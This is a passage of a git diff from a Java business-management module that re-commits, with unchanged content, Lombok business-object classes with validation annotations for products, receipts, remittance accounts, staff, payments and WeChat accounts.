* 商品业务对象 tp_prod - * - * @author Maosw - * @date 2025-03-15 - */ -@Data -@EqualsAndHashCode(callSuper = true) -@AutoMapper(target = TpProd.class, reverseConvertGenerate = false) -public class TpProdBo extends BaseEntity { - - /** - * 商品ID - */ - @NotNull(message = "商品ID不能为空", groups = { EditGroup.class }) - private Long id; - - /** - * 商品标题 - */ - @NotBlank(message = "商品标题不能为空", groups = { AddGroup.class, EditGroup.class }) - private String title; - - /** - * 商品主图 - */ - @NotBlank(message = "商品主图不能为空", groups = { AddGroup.class, EditGroup.class }) - private String pic; - - /** - * 商品图片,以,分割 - */ - private String imgs; - - /** - * 视频地址 - */ - private String video; - - /** - * 详细描述 - */ - private String content; - - /** - * 商品参数json - */ - private String parame; - - /** - * 展示价 - */ - @NotNull(message = "展示价不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long price; - - /** - * 成本价 - */ - private Long oriPrice; - - /** - * 状态:1-上架,2-下架 - */ - @NotNull(message = "状态:1-上架,2-下架不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long status; - - /** - * 库存 - */ - private Long stocks; - - /** - * 备注 - */ - private String remark; - - -} +package org.dromara.work.domain.bo; + +import io.github.linpeilie.annotations.AutoMapper; +import jakarta.validation.constraints.NotBlank; +import jakarta.validation.constraints.NotNull; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.mybatis.core.domain.BaseEntity; +import org.dromara.work.domain.TpProd; + +/** + * 商品业务对象 tp_prod + * + * @author Maosw + * @date 2025-03-15 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@AutoMapper(target = TpProd.class, reverseConvertGenerate = false) +public class TpProdBo extends BaseEntity { + + /** + * 商品ID + */ + @NotNull(message = "商品ID不能为空", groups = { EditGroup.class }) + private Long id; + + /** + * 商品标题 + */ + @NotBlank(message = "商品标题不能为空", groups = { AddGroup.class, EditGroup.class }) + private String title; + + /** + * 商品主图 + */ + @NotBlank(message = "商品主图不能为空", groups = { AddGroup.class, EditGroup.class }) + private String pic; + + /** + * 商品图片,以,分割 + */ + private String imgs; + + /** + * 视频地址 + */ + private String video; + + /** + * 详细描述 + */ + private String content; + + /** + * 商品参数json + */ + private String parame; + + /** + * 展示价 + */ + @NotNull(message = "展示价不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long price; + + /** + * 成本价 + */ + private Long oriPrice; + + /** + * 状态:1-上架,2-下架 + */ + @NotNull(message = "状态:1-上架,2-下架不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long status; + + /** + * 库存 + */ + private Long stocks; + + /** + * 备注 + */ + private String remark; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpReceiptBo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpReceiptBo.java index f8dc0cf..38e16d7 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpReceiptBo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpReceiptBo.java @@ -1,140 +1,140 @@ -package org.dromara.work.domain.bo; - -import com.baomidou.mybatisplus.annotation.TableField; -import com.fasterxml.jackson.annotation.JsonInclude; -import io.github.linpeilie.annotations.AutoMapper; -import jakarta.validation.constraints.NotNull; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.work.domain.TpReceipt; - -import java.math.BigDecimal; -import java.util.Date; -import java.util.HashMap; -import java.util.Map; - -/** - * 收款管理业务对象 tp_receipt - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@EqualsAndHashCode(callSuper = false) -@AutoMapper(target = TpReceipt.class, reverseConvertGenerate = false) -public class TpReceiptBo { - - /** - * - */ - @NotNull(message = "不能为空", groups = { EditGroup.class }) - private Long id; - - /** - * 收款渠道 - */ - @NotNull(message = "收款渠道不能为空", groups = { AddGroup.class, EditGroup.class }) - private Integer qid; - - /** - * 收款金额 - */ - @NotNull(message = "收款金额不能为空", groups = { AddGroup.class, EditGroup.class }) - private BigDecimal price; - - /** - * 汇款时间 - */ - private Date hkTime; - - /** - * 状态(1=待认领,2=已认领) - */ - private Integer state; - - /** - * 客户姓名 - */ - private Long cid; - - /** - * 认领时间 - */ - private Date rlTime; - - /** - * 认领人 - */ - private Long rid; - - /** - * 备注 - */ - private String remark; - - /** - * 是否删除(1=未删除,2=已删除) - */ - private Integer isDel; - - /** - * 创建时间 - */ - private Date addTime; - - /** - * 操作人 - */ - private Long addUser; - - /** - * 退款金额 - */ - private Integer returnMoney; - - /** - * 退款备注 - */ - private String returnRemark; - - /** - * 外部交易号 - */ - private String outTradeNo; - - /** - * 交易流水号 - */ - private String tradeNo; - - /** - * 客户编号 - */ - private String kcode; - - /** - * 客户姓名 - */ - private String cname; - - /** - * 认领人姓名 - */ - private String rname; - - /** - * 操作人姓名 - */ - private String addname; - - - /** - * 请求参数 - */ - @JsonInclude(JsonInclude.Include.NON_EMPTY) - @TableField(exist = false) - private Map params = new HashMap<>(); - -} +package org.dromara.work.domain.bo; + +import com.baomidou.mybatisplus.annotation.TableField; +import com.fasterxml.jackson.annotation.JsonInclude; +import io.github.linpeilie.annotations.AutoMapper; +import jakarta.validation.constraints.NotNull; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.work.domain.TpReceipt; + +import java.math.BigDecimal; +import java.util.Date; +import java.util.HashMap; +import java.util.Map; + +/** + * 收款管理业务对象 tp_receipt + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@EqualsAndHashCode(callSuper = false) +@AutoMapper(target = TpReceipt.class, reverseConvertGenerate = false) +public class TpReceiptBo { + + /** + * + */ + @NotNull(message = "不能为空", groups = { EditGroup.class }) + private Long id; + + /** + * 收款渠道 + */ + @NotNull(message = "收款渠道不能为空", groups = { AddGroup.class, EditGroup.class }) + private Integer qid; + + /** + * 收款金额 + */ + @NotNull(message = "收款金额不能为空", groups = { AddGroup.class, EditGroup.class }) + private BigDecimal price; + + /** + * 汇款时间 + */ + private Date hkTime; + + /** + * 状态(1=待认领,2=已认领) + */ + private Integer state; + + /** + * 客户姓名 + */ + private Long cid; + + /** + * 认领时间 + */ + private Date rlTime; + + /** + * 认领人 + */ + private Long rid; + + /** + * 备注 + */ + private String remark; + + /** + * 是否删除(1=未删除,2=已删除) + */ + private Integer isDel; + + /** + * 创建时间 + */ + private Date addTime; + + /** + * 操作人 + */ + private Long addUser; + + /** + * 退款金额 + */ + private Integer returnMoney; + + /** + * 退款备注 + */ + private String returnRemark; + + /** + * 外部交易号 + */ + private String outTradeNo; + + /** + * 交易流水号 + */ + private String tradeNo; + + /** + * 客户编号 + */ + private String kcode; + + /** + * 客户姓名 + */ + private String cname; + + /** + * 认领人姓名 + */ + private String rname; + + /** + * 操作人姓名 + */ + private String addname; + + + /** + * 请求参数 + */ + @JsonInclude(JsonInclude.Include.NON_EMPTY) + @TableField(exist = false) + private Map params = new HashMap<>(); + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpRemittanceBo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpRemittanceBo.java index f428984..78a42db 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpRemittanceBo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpRemittanceBo.java @@ -1,96 +1,96 @@ -package org.dromara.work.domain.bo; - -import io.github.linpeilie.annotations.AutoMapper; -import jakarta.validation.constraints.NotBlank; -import jakarta.validation.constraints.NotNull; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.work.domain.TpRemittance; - -/** - * 汇款业务对象 tp_remittance - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@EqualsAndHashCode(callSuper = false) -@AutoMapper(target = TpRemittance.class, reverseConvertGenerate = false) -public class TpRemittanceBo { - - /** - * - */ - @NotNull(message = "不能为空", groups = { EditGroup.class }) - private Long id; - - /** - * 别名 - */ - @NotBlank(message = "别名不能为空", groups = { AddGroup.class, EditGroup.class }) - private String alias; - - /** - * 开户渠道 - */ - @NotNull(message = "开户渠道不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long qid; - - /** - * 开户类型 - */ - @NotNull(message = "开户类型不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long type; - - /** - * 开户名称 - */ - @NotBlank(message = "开户名称不能为空", groups = { AddGroup.class, EditGroup.class }) - private String name; - - /** - * 收款码 - */ - @NotBlank(message = "收款码不能为空", groups = { AddGroup.class, EditGroup.class }) - private String qrcode; - - /** - * 开户时间 - */ - @NotNull(message = "开户时间不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long opentime; - - /** - * 付款码链接 - */ - @NotBlank(message = "付款码链接不能为空", groups = { AddGroup.class, EditGroup.class }) - private String link; - - /** - * 状态(1=正常,2=禁用) - */ - @NotNull(message = "状态(1=正常,2=禁用)不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long state; - - /** - * 创建人 - */ - @NotNull(message = "创建人不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long addUser; - - /** - * 是否删除(1=未删除,2=已删除) - */ - @NotNull(message = "是否删除(1=未删除,2=已删除)不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long isDel; - - /** - * 录入时间 - */ - @NotNull(message = "录入时间不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long addTime; - - -} +package org.dromara.work.domain.bo; + +import io.github.linpeilie.annotations.AutoMapper; +import jakarta.validation.constraints.NotBlank; +import jakarta.validation.constraints.NotNull; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.work.domain.TpRemittance; + +/** + * 汇款业务对象 tp_remittance + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@EqualsAndHashCode(callSuper = false) +@AutoMapper(target = TpRemittance.class, reverseConvertGenerate = false) +public class TpRemittanceBo { + + /** + * + */ + @NotNull(message = "不能为空", groups = { EditGroup.class }) + private Long id; + + /** + * 别名 + */ + @NotBlank(message = "别名不能为空", groups = { AddGroup.class, EditGroup.class }) + private String alias; + + /** + * 开户渠道 + */ + @NotNull(message = "开户渠道不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long qid; + + /** + * 开户类型 + */ + @NotNull(message = "开户类型不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long type; + + /** + * 开户名称 + */ + @NotBlank(message = "开户名称不能为空", groups = { AddGroup.class, EditGroup.class }) + private String name; + + /** + * 收款码 + */ + @NotBlank(message = "收款码不能为空", groups = { AddGroup.class, EditGroup.class }) + private String qrcode; + + /** + * 开户时间 + */ + @NotNull(message = "开户时间不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long opentime; + + /** + * 付款码链接 + */ + @NotBlank(message = "付款码链接不能为空", groups = { AddGroup.class, EditGroup.class }) + private String link; + + /** + * 状态(1=正常,2=禁用) + */ + @NotNull(message = "状态(1=正常,2=禁用)不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long state; + + /** + * 创建人 + */ + @NotNull(message = "创建人不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long addUser; + + /** + * 是否删除(1=未删除,2=已删除) + */ + @NotNull(message = "是否删除(1=未删除,2=已删除)不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long isDel; + + /** + * 录入时间 + */ + @NotNull(message = "录入时间不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long addTime; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpStaffBo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpStaffBo.java index b673367..8a06788 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpStaffBo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpStaffBo.java @@ -1,135 +1,135 @@ -package org.dromara.work.domain.bo; - -import io.github.linpeilie.annotations.AutoMapper; -import jakarta.validation.constraints.NotBlank; -import jakarta.validation.constraints.NotNull; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.mybatis.core.domain.BaseEntity; -import org.dromara.work.domain.TpStaff; - -import java.math.BigDecimal; - -/** - * 人员业务对象 tp_staff - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@EqualsAndHashCode(callSuper = true) -@AutoMapper(target = TpStaff.class, reverseConvertGenerate = false) -public class TpStaffBo extends BaseEntity { - - /** - * - */ - @NotNull(message = "不能为空", groups = { EditGroup.class }) - private Long id; - - /** - * 用户名称 - */ - @NotBlank(message = "用户名称不能为空", groups = { AddGroup.class, EditGroup.class }) - private String username; - - /** - * 用户编号 - */ - @NotBlank(message = "用户编号不能为空", groups = { AddGroup.class, EditGroup.class }) - private String code; - - /** - * 姓名 - */ - @NotBlank(message = "姓名不能为空", groups = { AddGroup.class, EditGroup.class }) - private String name; - - /** - * 所属部门 - */ - @NotNull(message = "所属部门不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long cid; - - /** - * 手机号 - */ - @NotBlank(message = "手机号不能为空", groups = { AddGroup.class, EditGroup.class }) - private String phone; - - /** - * 工龄 - */ - @NotNull(message = "工龄不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long year; - - /** - * 工种 - */ - @NotNull(message = "工种不能为空", groups = { AddGroup.class, EditGroup.class }) - private Integer work; - - /** - * 擅长类型 - */ - @NotBlank(message = "擅长类型不能为空", groups = { AddGroup.class, EditGroup.class }) - private String type; - - /** - * 登录密码 - */ - @NotBlank(message = "登录密码不能为空", groups = { AddGroup.class, EditGroup.class }) - private String password; - - /** - * 身份(1=员工,2=技术,3=客服,4=分图员) - */ - @NotNull(message = "身份(1=员工,2=技术,3=客服,4=分图员)不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long identity; - - /** - * 角色ID - */ - @NotNull(message = "角色ID不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long rid; - - /** - * 状态(1=正常,2=关闭) - */ - @NotNull(message = "状态(1=正常,2=关闭)不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long state; - - /** - * 是否删除(1=未删除,2=已删除) - */ - @NotNull(message = "是否删除(1=未删除,2=已删除)不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long isDel; - - /** - * 创建时间 - */ - @NotNull(message = "创建时间不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long addTime; - - /** - * 拆单 - */ - @NotNull(message = "拆单不能为空", groups = { AddGroup.class, EditGroup.class }) - private BigDecimal yue; - - /** - * 上传类型(1=服务器上传,2=OSS上传,3=局域网上传) - */ - @NotNull(message = "上传类型(1=服务器上传,2=OSS上传,3=局域网上传)不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long upType; - - /** - * 上传节点 - */ - @NotNull(message = "上传节点不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long urid; - - -} +package org.dromara.work.domain.bo; + +import io.github.linpeilie.annotations.AutoMapper; +import jakarta.validation.constraints.NotBlank; +import jakarta.validation.constraints.NotNull; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.mybatis.core.domain.BaseEntity; +import org.dromara.work.domain.TpStaff; + +import java.math.BigDecimal; + +/** + * 人员业务对象 tp_staff + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@AutoMapper(target = TpStaff.class, reverseConvertGenerate = false) +public class TpStaffBo extends BaseEntity { + + /** + * + */ + @NotNull(message = "不能为空", groups = { EditGroup.class }) + private Long id; + + /** + * 用户名称 + */ + @NotBlank(message = "用户名称不能为空", groups = { AddGroup.class, EditGroup.class }) + private String username; + + /** + * 用户编号 + */ + @NotBlank(message = "用户编号不能为空", groups = { AddGroup.class, EditGroup.class }) + private String code; + + /** + * 姓名 + */ + @NotBlank(message = "姓名不能为空", groups = { AddGroup.class, EditGroup.class }) + private String name; + + /** + * 所属部门 + */ + @NotNull(message = "所属部门不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long cid; + + /** + * 手机号 + */ + @NotBlank(message = "手机号不能为空", groups = { AddGroup.class, EditGroup.class }) + private String phone; + + /** + * 工龄 + */ + @NotNull(message = "工龄不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long year; + + /** + * 工种 + */ + @NotNull(message = "工种不能为空", groups = { AddGroup.class, EditGroup.class }) + private Integer work; + + /** + * 擅长类型 + */ + @NotBlank(message = "擅长类型不能为空", groups = { AddGroup.class, EditGroup.class }) + private String type; + + /** + * 登录密码 + */ + @NotBlank(message = "登录密码不能为空", groups = { AddGroup.class, EditGroup.class }) + private String password; + + /** + * 身份(1=员工,2=技术,3=客服,4=分图员) + */ + @NotNull(message = "身份(1=员工,2=技术,3=客服,4=分图员)不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long identity; + + /** + * 角色ID + */ + @NotNull(message = "角色ID不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long rid; + + /** + * 状态(1=正常,2=关闭) + */ + @NotNull(message = "状态(1=正常,2=关闭)不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long state; + + /** + * 是否删除(1=未删除,2=已删除) + */ + @NotNull(message = "是否删除(1=未删除,2=已删除)不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long isDel; + + /** + * 创建时间 + */ + @NotNull(message = "创建时间不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long addTime; + + /** + * 拆单 + */ + @NotNull(message = "拆单不能为空", groups = { AddGroup.class, EditGroup.class }) + private BigDecimal yue; + + /** + * 上传类型(1=服务器上传,2=OSS上传,3=局域网上传) + */ + @NotNull(message = "上传类型(1=服务器上传,2=OSS上传,3=局域网上传)不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long upType; + + /** + * 上传节点 + */ + @NotNull(message = "上传节点不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long urid; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpStaffPayBo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpStaffPayBo.java index d4f3c82..9965d37 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpStaffPayBo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpStaffPayBo.java @@ -1,64 +1,64 @@ -package org.dromara.work.domain.bo; - -import io.github.linpeilie.annotations.AutoMapper; -import jakarta.validation.constraints.NotBlank; -import jakarta.validation.constraints.NotNull; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.mybatis.core.domain.BaseEntity; -import org.dromara.work.domain.TpStaffPay; - -import java.math.BigDecimal; -import java.util.Date; - -/** - * 客服支出记录业务对象 tp_staff_pay - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@EqualsAndHashCode(callSuper = false) -@AutoMapper(target = TpStaffPay.class, reverseConvertGenerate = false) -public class TpStaffPayBo{ - - /** - * - */ - @NotNull(message = "不能为空", groups = { EditGroup.class }) - private Long id; - - /** - * 所属订单 - */ - @NotNull(message = "所属订单不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long oid; - - /** - * 支出金额 - */ - @NotNull(message = "支出金额不能为空", groups = { AddGroup.class, EditGroup.class }) - private BigDecimal price; - - /** - * 操作内容 - */ - @NotBlank(message = "操作内容不能为空", groups = { AddGroup.class, EditGroup.class }) - private String content; - - /** - * 操作人 - */ - @NotNull(message = "操作人不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long addUser; - - /** - * 操作时间 - */ - @NotNull(message = "操作时间不能为空", groups = { AddGroup.class, EditGroup.class }) - private Date addTime; - - -} +package org.dromara.work.domain.bo; + +import io.github.linpeilie.annotations.AutoMapper; +import jakarta.validation.constraints.NotBlank; +import jakarta.validation.constraints.NotNull; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.mybatis.core.domain.BaseEntity; +import org.dromara.work.domain.TpStaffPay; + +import java.math.BigDecimal; +import java.util.Date; + +/** + * 客服支出记录业务对象 tp_staff_pay + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@EqualsAndHashCode(callSuper = false) +@AutoMapper(target = TpStaffPay.class, reverseConvertGenerate = false) +public class TpStaffPayBo{ + + /** + * + */ + @NotNull(message = "不能为空", groups = { EditGroup.class }) + private Long id; + + /** + * 所属订单 + */ + @NotNull(message = "所属订单不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long oid; + + /** + * 支出金额 + */ + @NotNull(message = "支出金额不能为空", groups = { AddGroup.class, EditGroup.class }) + private BigDecimal price; + + /** + * 操作内容 + */ + @NotBlank(message = "操作内容不能为空", groups = { AddGroup.class, EditGroup.class }) + private String content; + + /** + * 操作人 + */ + @NotNull(message = "操作人不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long addUser; + + /** + * 操作时间 + */ + @NotNull(message = "操作时间不能为空", groups = { AddGroup.class, EditGroup.class }) + private Date addTime; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpWechatBo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpWechatBo.java index 6c7b09d..7900827 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpWechatBo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpWechatBo.java @@ -1,139 +1,139 @@ -package org.dromara.work.domain.bo; - -import com.fasterxml.jackson.annotation.JsonFormat; -import io.github.linpeilie.annotations.AutoMapper; -import jakarta.validation.constraints.NotBlank; -import jakarta.validation.constraints.NotNull; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.mybatis.core.domain.BaseEntity; -import org.dromara.work.domain.TpWechat; - -import java.math.BigDecimal; -import java.util.Date; -import java.util.List; - -/** - * 基本信息业务对象 tp_wechat - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@EqualsAndHashCode(callSuper = true) -@AutoMapper(target = TpWechat.class, reverseConvertGenerate = false) -public class TpWechatBo extends BaseEntity { - - /** - *id - */ - @NotNull(message = "id不能为空", groups = { EditGroup.class }) - private Long id; - - /** - * 唯一编号 - */ - @NotBlank(message = "唯一编号不能为空", groups = { AddGroup.class, EditGroup.class }) - private String code; - - /** - * 微信昵称 - */ - private String nikename; - - /** - * 使用人 - */ - private Long uid; - - /** - * 使用人 - */ - private String user; - - /** - * 手机号 - */ - @NotBlank(message = "手机号不能为空", groups = { AddGroup.class, EditGroup.class }) - private String phone; - - /** - * 投入使用时间 - */ - @JsonFormat(pattern = "yyyy-MM-dd", timezone = "GMT+8") - private Date userTime; - - /** - * 实名制人 - */ - private String name; - - /** - * 身份证号 - */ - private String cardId; - - /** - * 绑定银行 - */ - private String bank; - - /** - * 绑定银行卡号 - */ - private String number; - - /** - * 初始好友数 - */ - private Long num; - - /** - * 总好友数 - */ - private Long allnum; - - /** - * 当前客服时间 - */ - private Date nowTime; - - /** - * 创建人 - */ - private Long addUser; - - /** - * 创建人 - */ - private String addname; - - /** - * 是否删除(1=未删除,2=已删除) - */ - private Integer isDel; - - /** - * 创建时间 - */ - private Date addTime; - - /** - * 当前客服总业绩 - */ - private BigDecimal nowPrice; - - /** - * 开始时间 - */ - private String beginUserTime; - - /** - * 结束时间 - */ - private String endUserTime; - - private List deptIds; -} +package org.dromara.work.domain.bo; + +import com.fasterxml.jackson.annotation.JsonFormat; +import io.github.linpeilie.annotations.AutoMapper; +import jakarta.validation.constraints.NotBlank; +import jakarta.validation.constraints.NotNull; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.mybatis.core.domain.BaseEntity; +import org.dromara.work.domain.TpWechat; + +import java.math.BigDecimal; +import java.util.Date; +import java.util.List; + +/** + * 基本信息业务对象 tp_wechat + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@AutoMapper(target = TpWechat.class, reverseConvertGenerate = false) +public class TpWechatBo extends BaseEntity { + + /** + *id + */ + @NotNull(message = "id不能为空", groups = { EditGroup.class }) + private Long id; + + /** + * 唯一编号 + */ + @NotBlank(message = "唯一编号不能为空", groups = { AddGroup.class, EditGroup.class }) + private String code; + + /** + * 微信昵称 + */ + private String nikename; + + /** + * 使用人 + */ + private Long uid; + + /** + * 使用人 + */ + private String user; + + /** + * 手机号 + */ + @NotBlank(message = "手机号不能为空", groups = { AddGroup.class, EditGroup.class }) + private String phone; + + /** + * 投入使用时间 + */ + @JsonFormat(pattern = "yyyy-MM-dd", timezone = "GMT+8") + private Date userTime; + + /** + * 实名制人 + */ + private String name; + + /** + * 身份证号 + */ + private String cardId; + + /** + * 绑定银行 + */ + private String bank; + + /** + * 绑定银行卡号 + */ + private String number; + + /** + * 初始好友数 + */ + private Long num; + + /** + * 总好友数 + */ + private Long allnum; + + /** + * 当前客服时间 + */ + private Date nowTime; + + /** + * 创建人 + */ + private Long addUser; + + /** + * 创建人 + */ + private String addname; + + /** + * 是否删除(1=未删除,2=已删除) + */ + private Integer isDel; + + /** + * 创建时间 + */ + private Date addTime; + + /** + * 当前客服总业绩 + */ + private BigDecimal nowPrice; + + /** + * 开始时间 + */ + private String beginUserTime; + + /** + * 结束时间 + */ + private String endUserTime; + + private List deptIds; +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpWechatNumBo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpWechatNumBo.java index 90e1e66..d0745b7 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpWechatNumBo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpWechatNumBo.java @@ -1,71 +1,71 @@ -package org.dromara.work.domain.bo; - -import io.github.linpeilie.annotations.AutoMapper; -import jakarta.validation.constraints.NotNull; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.mybatis.core.domain.BaseEntity; -import org.dromara.work.domain.TpWechatNum; - -import java.util.Date; - -/** - * 更新好友数记录业务对象 tp_wechat_num - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@EqualsAndHashCode(callSuper = true) -@AutoMapper(target = TpWechatNum.class, reverseConvertGenerate = false) -public class TpWechatNumBo extends BaseEntity { - - /** - * - */ - @NotNull(message = "不能为空", groups = { EditGroup.class }) - private Long id; - - /** - * 所属微信 - */ - private Long wid; - - /** - * 数量 - */ - private Long num; - - /** - * 备注 - */ - private String remark; - - /** - * 创建人 - */ - private Long addUser; - - /** - * 创建人 - */ - private String addname; - - /** - * 创建时间 - */ - private Date addTime; - - /** - * 好友数量 - */ - private Long total; - - /** - * 初始值 - */ - private Long initial; - - -} +package org.dromara.work.domain.bo; + +import io.github.linpeilie.annotations.AutoMapper; +import jakarta.validation.constraints.NotNull; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.mybatis.core.domain.BaseEntity; +import org.dromara.work.domain.TpWechatNum; + +import java.util.Date; + +/** + * 更新好友数记录业务对象 tp_wechat_num + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@AutoMapper(target = TpWechatNum.class, reverseConvertGenerate = false) +public class TpWechatNumBo extends BaseEntity { + + /** + * + */ + @NotNull(message = "不能为空", groups = { EditGroup.class }) + private Long id; + + /** + * 所属微信 + */ + private Long wid; + + /** + * 数量 + */ + private Long num; + + /** + * 备注 + */ + private String remark; + + /** + * 创建人 + */ + private Long addUser; + + /** + * 创建人 + */ + private String addname; + + /** + * 创建时间 + */ + private Date addTime; + + /** + * 好友数量 + */ + private Long total; + + /** + * 初始值 + */ + private Long initial; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpWechatUserBo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpWechatUserBo.java index aeea64c..7712165 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpWechatUserBo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpWechatUserBo.java @@ -1,88 +1,88 @@ -package org.dromara.work.domain.bo; - -import io.github.linpeilie.annotations.AutoMapper; -import jakarta.validation.constraints.NotBlank; -import jakarta.validation.constraints.NotNull; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.mybatis.core.domain.BaseEntity; -import org.dromara.work.domain.TpWechatUser; - -import java.math.BigDecimal; -import java.util.Date; - -/** - * 微信使用人修改历史业务对象 tp_wechat_user - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@EqualsAndHashCode(callSuper = true) 